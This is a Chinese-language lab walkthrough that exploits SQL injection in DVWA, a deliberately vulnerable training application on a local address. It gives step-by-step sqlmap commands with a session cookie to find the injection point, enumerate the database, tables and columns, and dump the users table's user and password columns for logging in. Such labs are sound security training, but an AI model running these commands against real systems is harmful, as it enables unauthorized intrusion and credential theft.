DVWA 之 sql注入+ sqlmap
一、漏洞概述
SQL(Structured Query Language)是一种结构化的查询语言,用于与数据库进行交互并能够被数据库解析。SQL注入即是指web应用程序对用户输入数据的合法性过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,来实执行非授权的任意查询,从而得到相应的数据信息。
二、工具
firefox,sqlmap
三、测试过程
1、首先我们进入界面,随意输入user id进行测试,然后按F12获取提交时的url(或者使用抓包工具抓取):
URL:http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
2、使用sqlmap检测是否存在注入点
输入命令 :
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#"
可以看到对获取到的url进行检测后,会302重定向到登录的url,说明我们检测的url必须带有登录权限才能验证,因此我们的命令中需要带上登录dvwa后的cookie信息。
调整命令后再次检测:
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch
3、查看当前链接的数据库
输入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch --current-db
4、获取当前数据库中的所有数据表
输入命令:
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa --tables
5、我们查看user表中的所有列
输入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users --columns
可以很明显的看出user和password是我们需要的信息
6、导出指定数据表中指定的列
输入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users -C "user,password" --dump
现在我们只要任取一组在登录页面验证即可。